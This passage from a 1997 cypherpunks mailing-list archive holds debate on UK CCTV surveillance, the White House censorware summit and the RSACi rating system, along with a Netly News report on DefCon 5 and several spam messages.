will quickly > discover just how "voluntary" this "voluntary standard" is. > > Sure the CDA was struck down by the Supreme Court. Would a law prohibiting > "mislabeling" of websites be struck down as well? I doubt it. > > > > --Lucky Green > PGP encrypted mail preferred. > DES is dead! Please join in breaking RC5-56. > http://rc5.distributed.net/ > > > From nobody at REPLAY.COM Wed Jul 16 01:37:09 1997 From: nobody at REPLAY.COM (Anonymous) Date: Wed, 16 Jul 1997 16:37:09 +0800 Subject: CCTV Cameras in Britain Message-ID: <199707160817.KAA04433@basement.replay.com> Damaged Justice wrote: > Privacy International says that in Britain, there are an estimated > 300,000 CCTV surveillance cameras in public areas, housing estates, > car parks, public facilities, phone booths, vending machines, > buses, trains, taxis, alongside motorways and inside Automatic > Teller (ATM) Machines. > Yes, there are many cameras, and more going up all the time. The vast > majority of the population is glad that these cameras are being > introduced. Ordinary crime has been reduced greatly in those areas > (proven fact) where the cameras are in use. Does this 'move' the crime to a different area? If so, then the next step will be to add cameras to the other areas. Eventually, I suppose, it will only be safe to commit crimes in the homes of the (unarmed) citizens. By then, I am sure the citizens will protest very little when the government decides that cameras are needed in every home to fight "drug dealers and child pornographers." > A very popular and effective program on UK TV is called 'Crimewatch' > where video footage, from these cameras, of crimes and suspects is > shown not for sensationalism and ratings but in order to ask for help > identifying the perpetrators. It is very effective and crimes featured > have a very high clear-up rate. The U.S. is now inundated with a plethora of "Good Cop" shows and an increasing variety of "Dumb Criminal" video shows, including a few specials that are blatantly geared to spread the message, "The Surveillance Camera Is Your Friend!" This is not the result of happenstance. The whitewashing of LEA's and other government agencies, as well as the promotion of the belief that Constitutional rights are our enemy (and the friend of crime), are the result of conscious, active direction on the part of those in power. > Unfortunately there are immoral, > irresponsible and downright antisocial > people who will not abide by the law > and persist in infringing our rights. > As long as those people exist... > then we need such laws and technology. This type of thinking is exactly the reason that government interests lie in creating more crimes and more criminals. Since an ounce of good marijuana costs $300.00 instead of merely $3.00, it is profitable to not abide by the law. Since it is also cause for imprisonment, it makes it worthwhile to use violence in order not to get caught with it. Under the "life imprisonment for a third felony" laws, you might as well rob and kill someone as write them a $1.00 bad check (or be better off, in some states). > I would feel very ashamed if my attempts to protect my rights caused > the death of innocent people because security against those who are > irresponsible had to be drastically cut back. If so, then consider feeling ashamed *now* for that fact that your lack of attempt to protect your rights, and other's rights, is causing the death of innocent people because security against those who want their freedom has been increased. Both the U.S. and Britain send armed thugs to foreign soil to force their citizens to live according to our belief in what is right, and then we call them *terrorists* when they respond to armed force with armed force. With the use of radar to create "speed traps," government realized the profits to be had from *creating* crime and they have never looked back. I have no doubt that the surveillance industry will prove every bit as profitable as the prison industry, and just as easy to sell to a citizenry that is being frightened and held hostage by a government which should be protecting them and helping them to protect themselves. Save your "In order to save the patient, we had to kill him." laws-and-technology speech for forums where freedom and privacy are considered less precious than comfort and security. TruthMonger From nobody at REPLAY.COM Wed Jul 16 01:54:03 1997 From: nobody at REPLAY.COM (Anonymous) Date: Wed, 16 Jul 1997 16:54:03 +0800 Subject: The Big Sellout Message-ID: <199707160844.KAA08069@basement.replay.com> Declan McCullagh wrote: > ---------- Forwarded message ---------- > http://www.cnn.com/TECH/9707/15/cybersmut.ap/index.html > Computer industry to announce anti-smut initiatives > > WASHINGTON (AP) -- Hoping to avoid a V-chip for the Internet, the > computer industry will announce at the White House on Wednesday it > will provide greater access to anti-smut software and work to flag > Internet sites that are clean enough for kids. > White House officials, speaking on condition of anonymity, stressed > that in addition to the voluntary efforts for indecent or smutty > content, the government still will enforce vigorously provisions > making illegal any obscene materials carried on the Internet. Translation~~They will attempt to imprison people who are victims of those who voluntarily access their web sites and then complain to the authorities, despite the sight being clearly marked as a adult-oriented site. TruthMonger From ravage at ssz.com Wed Jul 16 06:38:26 1997 From: ravage at ssz.com (Jim Choate) Date: Wed, 16 Jul 1997 21:38:26 +0800 Subject: CCTV Cameras in Britain (fwd) Message-ID: <199707161318.IAA19917@einstein.ssz.com> Forwarded message: > Date: Wed, 16 Jul 1997 10:17:49 +0200 (MET DST) > Subject: Re: CCTV Cameras in Britain > From: nobody at REPLAY.COM (Anonymous) > Since an ounce of good marijuana costs $300.00 instead of merely > $3.00, it is profitable to not abide by the law. Don't know where you live but your street prices are about 300% too high... > TruthMonger ____________________________________________________________________ | | | _____ The Armadillo Group | | ,::////;::-. Austin, Tx. USA | | /:'///// ``::>/|/ http:// www.ssz.com/ | | .', |||| `/( e\ | | -====~~mm-'`-```-mm --'- Jim Choate | | ravage at ssz.com | | 512-451-7087 | |____________________________________________________________________| From candy at mail2.24hrplaymates.com Wed Jul 16 21:39:42 1997 From: candy at mail2.24hrplaymates.com (candy at mail2.24hrplaymates.com) Date: Wed, 16 Jul 1997 21:39:42 -0700 (PDT) Subject: adults only Message-ID: <18725478612534@mail2.24hrplaymates.com> TRY US OUT FOR FREE!!! See and talk to a live person on your computer screen. Not a video! Not prerecorded! This is live!!! Our models will obay your every cummand, we're willing to prove it by giving you a free 5 minute preview. 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Futures Trading Involves Risk, Understand The Risk BEFORE You Begin Trading! Thank You, 212-726-8826 ** For removal from any of our future mailouts, you need send only a blank e-mail to: tri at answerme.com .Sorry for the intrusion. From declan at well.com Wed Jul 16 08:00:25 1997 From: declan at well.com (Declan McCullagh) Date: Wed, 16 Jul 1997 23:00:25 +0800 Subject: The Censorware Summit: A Preview, from The Netly News Message-ID: ****************** http://cgi.pathfinder.com/netly/opinion/0,1042,1173,00.html The Netly News Network (http://netlynews.com) July 16, 1997 The Censorware Summit by Declan McCullagh (declan at well.com) SurfWatch's Jay Friedland still blushes when asked why his program once blocked part of the White House web site. Named "couples," the offending page triggered the hypersensitive software's dirty-word filter -- and amply illustrated the problems accompanying so-called "smut blocking" technology. Today, Friedland and more than a score of industry and nonprofit groups are visiting the White House to promote technical means of stopping Junior from visiting playboy.com. President Clinton is expected to endorse such measures over attempts to revive broad criminal laws like the ill-fated Communications Decency Act, which he supported. But this new approach suffers from all sorts of problems. For one, how do you winnow out material that's inappropriate for kids while avoiding embarassing missteps like the "couples" debacle? Certainly Friedland's firm can't hope to review the millions of web pages already online. Already spooked by a promised CDA II, the industry has offered an answer. High tech firms, taking a hint from the broadcasters, are seriously backing Internet rating systems for the first time. For instance, Netscape today will promise to join Microsoft and include the PICS ratings framework in the next version of its browser. Search engines such as Yahoo and Excite will announce they're supporting PICS to refine and limit searches, sources say. IBM will unveil a $100,000 grant to RSACi, a PICS-based rating standard originally designed for video games but adapted for the Web. The industry giant will also pledge to incorporate RSACi into future products. RSACi, which has been plagued by a number of serious flaws, works like this: You connect to its site and fill out a form self-rating your site for nudity, sex, violence and foul language. Then you take that tag, which might read something like "(n 0 s 0 v 0 l 0)" -- if your site is innocuous -- and slap it on your web page. But RSACi wasn't designed to classify news web sites. It's a video game rating system, and its coarse, clumsy categories -- from "creatures injured" to "wanton and gratuitous violence" -- are better suited to shrink-wrapped boxes of Doom than to the archives of msnbc.com. To comply with the system, MSNBC editors would need to review and rate each story -- which is why the site stopped using RSACi, The Netly News reported in March. Stephen Balkam, the head of RSACi, now says he has a solution. He calls it RSACnews and says that legitimate news sites can use it to rate just their home pages without having to review each article. Now, what's a legitimate news site? The Netly News might qualify, but what about the NAMBLA News Journal? "People who generate firsthand reports that have been in some ways verified or structured in a way that gives clear and objective information as possible about events," Balkam says. "We will be working with the news industry to help us develop a criteria." (This, presumably, means groups that have signed on as supporters, including MSNBC, the Wall Street Journal, the Well, CNET and Ziff-Davis. I'm told that the White House wants to qualify as a "news site" -- even though the information there is rarely clear and certainly not objective.) Not surprisingly, civil libertarians are screaming bloody murder. They do have a point. After all, netizens are fresh from a stunning Supreme Court victory that firmly established that the Net should enjoy the same First Amendment protections as print publications. Since magazines aren't forced to sport warning labels, why should the White House pressure online publications to do the same? And, more importantly, why should the industry give in instead of standing on principle and resisting all attempts by the federal government to muzzle online speech? "Some businesses who make their money from people on the Net appear far too eager to ignore the massive First Amendment protection the CDA decision gave cyberspeech -- and even more eager to adopt and impose on all of us the potential sinews of censorship: PICS and RSACi," says Don Haines, legislative counsel at the ACLU. (This critical attitude may have been what spurred the White House to disinvite the ACLU from today's summit, then hurriedly re-invite them after the ACLU put out a press release.) Of course, today's White House summit plays against the backdrop of a threat from a CDA II. Some members of Congress, such as Sen. Dan Coats (R-Ind.) have pledged to try again with more legislation. Yet others seem more willing to compromise. "The Supreme Court has shot down the option that I worked hard on," says Rep. Bob Goodlatte (R-Va.), a staunch CDA supporter who will be at today's summit. "They said we can't go that route. I'm certainly interested in developing other options. I want to put the burden on pornographers. One of the ways to do that is to have Congress pass legislation that would make it difficult for people to misrate their web site." Rep. Goodlatte is one of a half-dozen congresspeople who will attend the noontime meeting, along with oppositional CDA forces such as the American Library Association and the Electronic Frontier Foundation. Together they will witness the unveiling of netparents.org, a joint effort of the Center for Democracy and Technology and the Voters Telecommunications Watch. The site allows parents to "find some family-friendly" censorware-enabled service providers in their area. A handy tool that we suspect will be used not only to find ISPs that provide blocking tools, but to find the ones that don't. ### From rah at shipwright.com Wed Jul 16 08:02:03 1997 From: rah at shipwright.com (Robert Hettinga) Date: Wed, 16 Jul 1997 23:02:03 +0800 Subject: Gee, *this* sounds familiar... (Was Re: ICONOCAST 15-Jul-97) Message-ID: --- begin forwarded text Sender: e$@thumper.vmeng.com Reply-To: Robert Hettinga Mime-Version: 1.0 Precedence: Bulk Date: Wed, 16 Jul 1997 08:40:50 -0400 From: Robert Hettinga To: Multiple recipients of Subject: Gee, *this* sounds familiar... (Was Re: ICONOCAST 15-Jul-97) Microsoft and Cisco have discovered Micromoney Mitochondria, it seems... Wanna bet the "physicist" is probably Mhyrvold? Too bad they don't understand the distinction between book-entries and bearer certificates... Cheers, Bob Hettinga At 11:31 am -0400 on 7/15/97, Michael Tchong wrote: > I C O N O C A S T b y M i c h a e l T c h o n g > -- more concentrated than the leading brand -- > 15-Jul-97 > ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ > THE JACOBYTE >~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ > The French will never forget la Bastille. But Netizens seem > to have forgotten Jaco. To prevent Jaco from breaking a long > streak of insouciance and going on strike, French-style, > send a juicy "petit truc" to jaco at iconocast.com. > <*> The Jacobyte also received a hot tip from a physicist. > You know the type who does 20 quantum-mechanics push ups > before breakfast. What caught the eye of this keen observer > was the Microsoft-Cisco announcement. How's this for a > scenario: Bill gets his software into all Cisco routers, > then proposes a modification to the Internet packet format. > > All packets must now have a credit-card number in the > header, so Microsoft can charge a packet switch fee at > each router! Talk about 'transaction pricing.' A typical > e-mail is broken into several packets and each one makes > 10-15 hops. Let's do the arithmetic for a typical day: > 100 billion packets times 10 hops per packet times $0.001 > router fee at each hop equals $1 billion *per day*. > > That's not chump change...even for the $36-billion man! ----------------- Robert Hettinga (rah at shipwright.com), Philodox e$, 44 Farquhar Street, Boston, MA 02131 USA "... however it may deserve respect for its usefulness and antiquity, [predicting the end of the world] has not been found agreeable to experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire' The e$ Home Page: http://www.shipwright.com/ ---------- The e$ lists are brought to you by: Intertrader Ltd: "Digital Money Online" Where people, networks and money come together: Consult Hyperion http://www.hyperion.co.uk info at hyperion.co.uk Like e$? Help pay for it! For e$/e$pam sponsorship, mail Bob: Thanks to the e$ e$lves: Of Counsel: Vinnie Moscaritolo (Majordomo)^2: Rachel Willmer Commermeister: Anthony Templer Interturge: Rodney Thayer --- end forwarded text ----------------- Robert Hettinga (rah at shipwright.com), Philodox e$, 44 Farquhar Street, Boston, MA 02131 USA "... however it may deserve respect for its usefulness and antiquity, [predicting the end of the world] has not been found agreeable to experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire' The e$ Home Page: http://www.shipwright.com/ From declan at well.com Wed Jul 16 08:16:00 1997 From: declan at well.com (Declan McCullagh) Date: Wed, 16 Jul 1997 23:16:00 +0800 Subject: White House "kinder, gentler"-CDA/censor empowerment meeting Message-ID: ---------- Forwarded message ---------- Date: Wed, 16 Jul 1997 00:23:08 -0700 (PDT) From: Declan McCullagh To: Seth Finkelstein Cc: jseiger at cdt.org, jberman at cdt.org, fight-censorship at vorlon.mit.edu Subject: Re: White House "kinder, gentler"-CDA/censor empowerment meeting Below we see an excellent example of the naivete inherent in Net-libertarian and cypherpunk writing. Obviously the writer does not understand the complexities and challenges of Washington politics. In many ways, it is like sausage being made: disgusting to watch, but a process that results in the compromises so vital in a healthy democracy. Which is why it is inappropriate to criticize the White House's position on the CDA. If you speak your mind aloud, you run the risk of being marginalized like the ACLU. How can you serve your constituents then? Obviously, you can't. So I respectfully suggest that Mr. Finkelstein disabuse himself of radical notions like opposing regulation of the Internet. I can only conclude that because Mr. Finkelstein does not live inside the Beltway, we cannot expect him to realize that it is always necessary to remain players in the game -- even if it means giving up fundamental liberties in the process. -Declan On Wed, 16 Jul 1997, Seth Finkelstein wrote: > >> At 11:35 PM -0400 7/15/97, Michael Sims wrote: > >>...But by lining up with those who intend to FORCE, by > >>hook or crook, ratings on everyone, well, you're not sending the > >>message I would think you would want to. > > > From: Jonah Seiger > > As far as I know, this is not what's happening and you are reacting to ghosts > > "I am the ghost of RSACi past". Such as when it nearly became a > contractual requirement for all ISP's in the United Kingdom last year. > Of course they didn't *have* to join up, and they didn't have to not > be raided as child pornographers either. Not a ghost, but a spectre. > > > Like you, CDT will be watching what the President says tomorrow > > very carefully and will have something to say once he has spoken. > > I'm sure you will. And I'm also sure it's going to be along > the lines of "Sign up to this program because it's not censorship and > if you don't, the government will get you". > > ================ > Seth Finkelstein > sethf at mit.edu > > > From declan at well.com Wed Jul 16 08:38:26 1997 From: declan at well.com (Declan McCullagh) Date: Wed, 16 Jul 1997 23:38:26 +0800 Subject: SPA statement and RSAC release Message-ID: ---------- Forwarded message ---------- Date: Wed, 16 Jul 1997 08:17:19 -0700 (PDT) From: Declan McCullagh To: fight-censorship at vorlon.mit.edu Subject: SPA statement and RSAC release Statement by Ken Wasch, President, Software Publishers Association PR News Wire via Dow Jones White House Forum: Children on the Internet WASHINGTON, July 16 /PRNewswire/ -- The following is a statement by Ken Wasch, President of the Software Publishers Association: "The software industry recognizes -- and understands -- the legitimate concerns of parents, educators, the President and Vice President, legislators and other citizens about the content and suitability of many Internet sites for our children. We believe parents should have the opportunity, and readily available tools, to monitor -- and block -- objectionable online content. "Today's White House Forum is an important step in highlighting this issue by bringing together a diverse group of concerned organizations and individuals to focus on what must be done. SPA appreciates the invitation of the President and the Vice President to represent the software industry at this forum. However, after we leave the White House, the responsibility of marrying freedom of speech with these legitimate concerns falls on the shoulders of the software industry. The software industry develops the tools and products that, in turn, can put a brown wrapper around objectionable material on the Internet. Others may talk; the software industry must act. "Understanding its responsibility, the software industry several years ago helped establish a process of self-regulation and content ratings through the Recreational Software Advisory Council (RSAC). Today, RSAC, through its Internet ratings system -- RSACi -- has assigned objective content labels to more than 35,000 online sites in just 12 months. RSACi is now the world's leading Internet content ratings system, empowering parents everywhere to block online content they believe offensive. It is important to keep in mind that 'Truth in Packaging' has nothing to do with suppression of content. RSACi is a labeling system, not a system of censorship. "At today's White House Forum, the success of RSACi as an effective, no-cost tool for concerned parents was highlighted. It is no coincidence that two of this nation's largest corporations have committed to using the RSACi ratings system in their online efforts. SPA and the software industry congratulate Disney -- with its strong family emphasis -- and IBM on their decisions to work with RSAC. We know others will join them. Then RSACi will become the universal ratings standard, allowing everyone everywhere to benefit from the exciting world of the Internet, without the inhibition of state-imposed regulation or censorship." SPA is the leading trade association of the software industry, representing 1,200 leading publishers as well as start-up firms developing software applications and tools for use on the desktop, the Internet, and client-server networks. FOR IMMEDIATE RELEASE RECREATIONAL SOFTWARE ADVISORY COUNCIL WELCOMES IBM AS CORPORATE SPONSOR IBM Supports RSAC Initiative to Provide Self-Regulation of Internet Content Washington, D.C. -- July 16, 1997 � The Recreational Software Advisory Council (RSAC) today announced that IBM has become a corporate sponsor of RSAC � the non-profit organization committed to providing Internet users with detail regarding web site content. IBM is contributing $100,000 to RSAC, the non-profit developer of RSACi, the voluntary, non-judgmental content labeling software system that allows consumers and Webmasters to create customized filters of online content. "The astounding popularity and growth of the Internet has brought about its greatest challenge -- controlling the flow of content that some feel is inappropriate for children, students, or corporate staff. RSAC's goal has never been to restrict the act of free speech, but rather to allow free speech while simultaneously empowering consumers to control the content to which they're exposed," commented Stephen Balkam, executive director of RSAC. "We're very pleased to be working with IBM to continue our effort to make the Internet fun and safe for everyone." "Effective technology complements the efforts of parents and teachers in monitoring children's' use of the Internet," said John Patrick, IBM's Vice President, Internet technology. "IBM is committed to providing parents and educators with the tools to help children leverage the Internet appropriately. We are proud to be working with RSAC in creating an Internet environment that is consistent with the interests of parents, teachers and children." RSACi, or RSAC on the Internet, is the objective content-labeling advisory system that is fully compliant with the World Wide Web consortium's industry standard for web content rating, the Platform for Internet Content Selection (PICS). RSACi is a fully-automated system that relies on Webmasters to complete a detailed questionnaire regarding the level, nature and intensity of the sex, nudity, violence or offensive language (vulgar or hate-motivated) found within their web site. The responses given then generate rating tags that -- when posted on the web site -- are read by not only popular browsers (such as Microsoft's Internet Explorer), but by blocking system software (such as MicroSystem's Cyber Patrol), allowing consumers to anticipate Internet content and block any materials they deem inappropriate, or offensive. To date, the RSACi content advisory system has been used to rate more than 35,000 web sites -- and it is anticipated that this number will grow to more than 120,000 in the coming year. "It's our opinion that the IBM sponsorship -- together with the recent formation of the International Ratings Working Group at the Bonn Ministerial Conference -- will lead to a four-fold increase in rated sites over the next calendar year," commented Stephen Balkam. IBM has been a leader in developing and supporting standard content filtering programs and technologies for years. In addition to sponsoring RSAC, IBM contributed to the development of PICS within the W3C earlier this year. IBM also ships NetVista, an Internet server designed for educational institutions that helps teachers integrate the Web directly into the classroom while filtering inappropriate content. IBM, the world's largest software provider, creates, develops and manufactures the industry's most advanced information technologies, including computer systems, software, networking systems, storage devices and microelectronics. IBM offers complete information about the company, its products, services and technology on the World Wide Web at http://www.ibm.com. For more information about IBM Software to go to the IBM Software home page at http://www.software.ibm.com. The Recreational Software Advisory Council is an independent, non-profit organization based in Washington, D.C, that empowers the public, especially parents, to make informed decisions about electronic media by means of an open, objective, content advisory system. The RSACi system provides consumers with information about the level of sex, nudity, violence, offensive language (vulgar or hate-motivated) in software games and Web sites. To date, RSACi has been integrated into Microsoft's browser, Internet Explorer, and MicroSystem's Cyber Patrol Software. CompuServe (US and Europe) has also committed to rate all its content with the RSACi system. More information on RSAC and the RSACi rating system is available at http://www.rsac.org. # # # From ravage at ssz.com Wed Jul 16 08:48:24 1997 From: ravage at ssz.com (Jim Choate) Date: Wed, 16 Jul 1997 23:48:24 +0800 Subject: White House "kinder, gentler"-CDA/censor empowerment meeting (fwd) Message-ID: <199707161528.KAA20354@einstein.ssz.com> Forwarded message: > Date: Wed, 16 Jul 1997 08:03:06 -0700 (PDT) > From: Declan McCullagh > Subject: White House "kinder, gentler"-CDA/censor empowerment meeting > Below we see an excellent example of the naivete inherent in > Net-libertarian and cypherpunk writing. > Obviously the writer does not understand the complexities and challenges > of Washington politics ... a process that results in the compromises > so vital in a healthy democracy. I would like to see your proof that a healthy democracy requires compromise. This is truly the pot calling the kettle black in regards to mis-understanding the fundamental dynamics of 'healthy' democracies. > I can only conclude that because Mr. Finkelstein does not live inside the > Beltway, we cannot expect him to realize that it is always necessary to > remain players in the game -- even if it means giving up fundamental > liberties in the process. Declan, you are truly an idiot if you believe that you can obtain any sort of democracy, let along a healthy one, by giving up fundamental liberties. With friends like you we don't need enemies, we don't have to worry about them taking anything you are more than willing to give it away. ____________________________________________________________________ | | | _____ The Armadillo Group | | ,::////;::-. Austin, Tx. USA | | /:'///// ``::>/|/ http:// www.ssz.com/ | | .', |||| `/( e\ | | -====~~mm-'`-```-mm --'- Jim Choate | | ravage at ssz.com | | 512-451-7087 | |____________________________________________________________________| From jim.burnes at ssds.com Wed Jul 16 09:07:26 1997 From: jim.burnes at ssds.com (Jim Burnes) Date: Thu, 17 Jul 1997 00:07:26 +0800 Subject: White House "kinder, gentler"-CDA/censor empowerment meeting In-Reply-To: Message-ID: On Wed, 16 Jul 1997, Declan McCullagh wrote: > > > ---------- Forwarded message ---------- > Date: Wed, 16 Jul 1997 00:23:08 -0700 (PDT) > From: Declan McCullagh > To: Seth Finkelstein > Cc: jseiger at cdt.org, jberman at cdt.org, fight-censorship at vorlon.mit.edu > Subject: Re: White House "kinder, gentler"-CDA/censor empowerment meeting > > Below we see an excellent example of the naivete inherent in > Net-libertarian and cypherpunk writing. Obviously the writer does not > understand the complexities and challenges of Washington politics. In many > ways, it is like sausage being made: disgusting to watch, but a process > that results in the compromises so vital in a healthy democracy. > > Which is why it is inappropriate to criticize the White House's position > on the CDA. If you speak your mind aloud, you run the risk of being > marginalized like the ACLU. How can you serve your constituents then? > Obviously, you can't. So I respectfully suggest that Mr. Finkelstein > disabuse himself of radical notions like opposing regulation of the > Internet. > > I can only conclude that because Mr. Finkelstein does not live inside the > Beltway, we cannot expect him to realize that it is always necessary to > remain players in the game -- even if it means giving up fundamental > liberties in the process. > > -Declan Declan: Did you forget your ;-) smiley face or can we quote you on that last sentence? As far as I'm concerned, if you are forced to give up fundamental liberties the "game" is over -- soon followed by "politics by other means". Our participation as citizens of this country is governed by contract. That contract is the constitution. This is no game. Either the employees adhere to the tenets of that contract or the employers will fire them for non-performance. Simple as that. Jim Burnes jim.burnes at ssds.com From 01093775 at 03416.com Thu Jul 17 00:10:39 1997 From: 01093775 at 03416.com (01093775 at 03416.com) Date: Thu, 17 Jul 1997 00:10:39 -0700 (PDT) Subject: Cookie that help you lose wieght!!! Message-ID:

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From sunder at brainlink.com  Wed Jul 16 09:28:04 1997
From: sunder at brainlink.com (Ray Arachelian)
Date: Thu, 17 Jul 1997 00:28:04 +0800
Subject: If You Build It, They Will Con (fwd)
Message-ID: 



---------- Forwarded message ----------
Date: Wed, 16 Jul 1997 11:09:05 -0400
From: "Anthony F. Navarro" 
Subject: If You Build It, They Will Con

>From the Netly News  -Anthony
         
             July 15, 1997

 If You Build It, They Will Con 

  by Declan McCullagh 
 �����  

���� Perhaps the thinking behind DefCon went something like this: Lure
hundreds of hackers to Las Vegas in the middle of the summer, ply them with
cheap beer, talk about packet sniffing, and observe. Last year the result
was self-organizing chaos, capped by an event where the hired strippers
were upstaged by a band of exhibitionist conferencegoers. "The pimp was
like, 'Oh my God,'" says Dark Tangent, DefCon's organizer. 

���� Last weekend's fifth annual DefCon may have been a little less
raucous, but it was no less important as a place where hackers from around
the world gather to socialize, gamble -- and glance around furtively trying
to spot the government agents who infiltrate the convention. (Bonus: If you
guess correctly, you can take a prized "I Spotted the Fed" T-shirt home
with you.) 

���� Naturally, DefCon has always been populated with a slew of specialized
talks on "Hacking Novell Netware" and uses of "embedded microcontroller
applications." But this year, speakers such as Richard Thieme spoke of
finer points: For instance, how hackers should avoid merely imitating their
predecessors' exploits. Instead, they should learn the intricacies of
computer systems themselves. "This is really functioning as a call to
excellence," Thieme says. Then there was Carolyn Meinel, who maintains the
"Happy Hacker" mailing list. "You don't need to break the law to be a
hacker," she told me. 

���� Maybe not, but the DefCon crowd -- mostly teenagers and
twentysomethings -- wasn't listening. Some tried to pass counterfeit $20
bills when registering. ("We'll beat your ass," Dark Tangent warned
afterward.) Others tried to snatch the DefCon banner from the convention
hall. By the time the conference began, the hotel's antiquated phone system
had been penetrated and instructions distributed on how to call long
distance for free. The hotel's radio frequencies quickly appeared on the
DefCon mailing list. On Friday evening, security guards booted two revelers
after a hallway skirmish led to blows. And someone was carrying around a
door to a GTE truck -- I never found out why. 

���� All of which might explain Las Vegas's growing reluctance to host the
event. Dark Tangent says the convention has become virtually blackballed.
"You're dicked. There's no place to go," he says. This year, Dark Tangent
had to rename the convention "DC Communications" and take out $1 million in
liability insurance. He also moved the conference to the Aladdin, a
ramshackle hotel -- complete with faded purple carpets and cheesy lounge
singers -- that seems the only venue now willing to risk hosting DefCon. 

���� Still, the Aladdin seemed a choice venue for Winn Schwartau, the
"InfoWar" crooner whom many hackers love to hate. He showed up to host two
rounds of Hacker Jeopardy. Teams of digerati took turns heckling Schwartau
and competing in categories such as National Security for $300: "A: The two
possible meanings of DOS. Q: What are Denial of Service or Disk Operating
System?" Or, "A: The assistant director of the FBI who handled the TWA
investigation and was behind the Clipper Chip. Q: Who is James Kallstrom?" 

���� Bruce Schneier, author of "Applied Cryptography" (and the star of his
Hacker Jeopardy team), spoke on Saturday about "Why Cryptography Is Harder
Than It Looks." He warned of overconfidence when designing a cryptosystem:
"The math is perfect. The computers are bad. The networks hideous. The
people worse." Says Schneier, "We need to recognize the limits of the
possible." 

����Sameer Parekh, president of C2Net, spoke the next day about offshore
crypto-development: "We export jobs, not crypto." Jobs seemed to be what
many in the crowd were looking for. As one generation of hackers gives way
to another, a new batch of self-anointed "security consultants" appears on
the scene. Of course, there are never enough scouts in attendance to hire
them all. 

���� Dejected, and unable to hack more than the hotel PBX, some found
solace in the seamier side of Las Vegas. I saw a note inviting everyone to
a "StripperCon" that was being held down the street at the Tropicana Hotel
on Saturday night. I went gambling instead. 

���� Short $75, I wondered whether next year's DefCon would be worth
attending -- that is, if it happens at all. But surely there will be a
DefCon 6, and since Internet Underground has gone to pasture, who else will
there be to cover it? So I poured another shot, dialed 9# on the wall phone
and placed a long distance call to the editor. On the house. �           

| The Netly News | Afternoon Line | Bootcamp | This Old PC | Walter Miller
| Alt.Culture | Digital Sandbox | Archive |    

          






From shamrock at netcom.com  Wed Jul 16 11:55:49 1997
From: shamrock at netcom.com (Lucky Green)
Date: Thu, 17 Jul 1997 02:55:49 +0800
Subject: The Censorware Summit: A Preview, from The Netly News
In-Reply-To: 
Message-ID: <3.0.2.32.19970716110343.00729aac@netcom10.netcom.com>



At 07:44 AM 7/16/97 -0700, Declan McCullagh wrote:
>        Stephen Balkam, the head of RSACi, now says he has a solution. He
>   calls it RSACnews and says that legitimate news sites can use it to
>   rate just their home pages without having to review each article. Now,
>   what's a legitimate news site? The Netly News might qualify, but what
>   about the NAMBLA News Journal? "People who generate firsthand reports
>   that have been in some ways verified or structured in a way that gives
>   clear and objective information as possible about events," Balkam
>   says. "We will be working with the news industry to help us develop a
>   criteria." (This, presumably, means groups that have signed on as
>   supporters, including MSNBC, the Wall Street Journal, the Well, CNET 
>   and Ziff-Davis. I'm told that the White House wants to qualify as a 
>   "news site" -- even though the information there is rarely clear and
>   certainly not objective.)

I can't remember how RSACi authenticates the tags. I assume they are either
signed by a CA or not authenticated.

1) If the tags are signed by a CA.
Who operates the root CA? Who will operate the CA that issues RSACnews
tags, also knows as Online Publishing Licenses.?

2) If the tags are not signed by a CA.
What is someone to prevent from labeling the NAMBLA monthly site,
"government authorized news site, suitable for all ages"? Just as the
various GAK proposals do not make sense unless GAK is mandatory, online
rating systems do not make sense unless "misslabeling" sites will become a
felony.


--Lucky Green 
  PGP encrypted mail preferred.
  DES is dead! Please join in breaking RC5-56.
  http://rc5.distributed.net/






From declan at well.com  Wed Jul 16 12:07:34 1997
From: declan at well.com (Declan McCullagh)
Date: Thu, 17 Jul 1997 03:07:34 +0800
Subject: The Censorware Summit: A Preview, from The Netly News
In-Reply-To: <3.0.2.32.19970716110343.00729aac@netcom10.netcom.com>
Message-ID: 



As for Lucky's point #2 -- Yes, I've read drafts of bills that would make
it a Federal crime to misrate. --Declan

On Wed, 16 Jul 1997, Lucky Green wrote:

> At 07:44 AM 7/16/97 -0700, Declan McCullagh wrote:
> >        Stephen Balkam, the head of RSACi, now says he has a solution. He
> >   calls it RSACnews and says that legitimate news sites can use it to
> >   rate just their home pages without having to review each article. Now,
> >   what's a legitimate news site? The Netly News might qualify, but what
> >   about the NAMBLA News Journal? "People who generate firsthand reports
> >   that have been in some ways verified or structured in a way that gives
> >   clear and objective information as possible about events," Balkam
> >   says. "We will be working with the news industry to help us develop a
> >   criteria." (This, presumably, means groups that have signed on as
> >   supporters, including MSNBC, the Wall Street Journal, the Well, CNET 
> >   and Ziff-Davis. I'm told that the White House wants to qualify as a 
> >   "news site" -- even though the information there is rarely clear and
> >   certainly not objective.)
> 
> I can't remember how RSACi authenticates the tags. I assume they are either
> signed by a CA or not authenticated.
> 
> 1) If the tags are signed by a CA.
> Who operates the root CA? Who will operate the CA that issues RSACnews
> tags, also knows as Online Publishing Licenses.?
> 
> 2) If the tags are not signed by a CA.
> What is someone to prevent from labeling the NAMBLA monthly site,
> "government authorized news site, suitable for all ages"? Just as the
> various GAK proposals do not make sense unless GAK is mandatory, online
> rating systems do not make sense unless "misslabeling" sites will become a
> felony.
> 
> 
> --Lucky Green 
>   PGP encrypted mail preferred.
>   DES is dead! Please join in breaking RC5-56.
>   http://rc5.distributed.net/
> 
> 






From frissell at panix.com  Wed Jul 16 12:17:44 1997
From: frissell at panix.com (Duncan Frissell)
Date: Thu, 17 Jul 1997 03:17:44 +0800
Subject: The Censorware Summit: A Preview, from The Netly News
In-Reply-To: 
Message-ID: <3.0.2.32.19970716134544.0363819c@panix.com>



-----BEGIN PGP SIGNED MESSAGE-----

At 07:44 AM 7/16/97 -0700, Declan McCullagh wrote:
>
>        Stephen Balkam, the head of RSACi, now says he has a solution. He
>   calls it RSACnews and says that legitimate news sites can use it to
>   rate just their home pages without having to review each article. Now,
>   what's a legitimate news site? The Netly News might qualify, but what
>   about the NAMBLA News Journal? "People who generate firsthand reports
>   that have been in some ways verified or structured in a way that gives
>   clear and objective information as possible about events," Balkam
>   says. "We will be working with the news industry to help us develop a
>   criteria." (This, presumably, means groups that have signed on as
>   supporters, including MSNBC, the Wall Street Journal, the Well, CNET 
